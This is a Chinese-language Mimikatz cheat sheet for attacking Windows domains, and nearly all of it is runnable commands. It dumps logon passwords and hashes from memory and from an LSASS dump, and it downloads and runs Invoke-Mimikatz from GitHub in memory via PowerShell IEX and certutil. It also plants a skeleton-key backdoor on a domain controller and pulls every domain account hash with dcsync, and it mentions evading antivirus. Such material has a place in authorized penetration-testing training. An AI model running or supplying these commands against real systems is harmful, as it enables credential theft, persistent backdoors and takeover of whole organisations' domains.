0x00 常用命令
获取本机用户名、口令、sid、LM hash、NTLM hash
privilege::debug
sekurlsa::logonpasswords
通过内存文件获取口令 使用procdump导出lsass.dmp mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
通过powershell加载mimikatz获取口令
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
导出所有用户口令
维持域控权限
万能钥匙,可使用任意用户登陆域控
privilege::debug
misc::skeleton
net use \\A-635ECAEE64804.TEST.LOCAL mimikatz /user:test
生成万能票据
配合ms14-068
0x01 Invoke-Mimikatz.ps1使用
1、使用certutil下载,注意github的dns经常错误,容易下载失败
certutil.exe -urlcache -split -f “https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1”
2、查看和设置powershell执行权限
Get-ExecutionPolicy 查看目前权限
Set-ExecutionPolicy -ExecutionPolicy Restricted 设置权限
#Restricted: 默认设置,不允许任何脚本运行
#AllSigned: 只能运行经过数字证书签名的脚本
#RemoteSigned: 运行本地脚本不需要数字签名,但是运行从网络上下载的脚本必须要有数字签名
#Unrestricted: 允许所有的脚本运行, 但是在运行前会提示是否进行操作
#Bypass: 允许所有的脚本运行, 没有任何的提示和警告
3、执行Mimikatz
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ‘“privilege::debug” “sekurlsa::logonPasswords full”‘
执行结果如下,window server 2008
执行成功,win10
执行失败
看来是powershell版本太高了,2008的powershell版本是2.0,win10是5.1;语法有更新,不过实际环境中更多的还是低版本的powershell。但是这个脚本不做免杀随便被杀软杀
0x02 一行命令
mimikatz将结果输出到一个文本的命令
mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” > pssword.txt
0x03 导出域控用户信息
Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值。此技术避免了直接使用域控制器进行身份验证的需要,因为它可以以域管理员的权限在任何机器上运行。
lsadump::dcsync /domain:pentestlab.local /all /csv
通过使用/ user参数指定域用户名,Mimikatz可以转储此特定用户的所有帐户信息,包括其密码哈希。
lsadump::dcsync /domain:pentestlab.local /user:test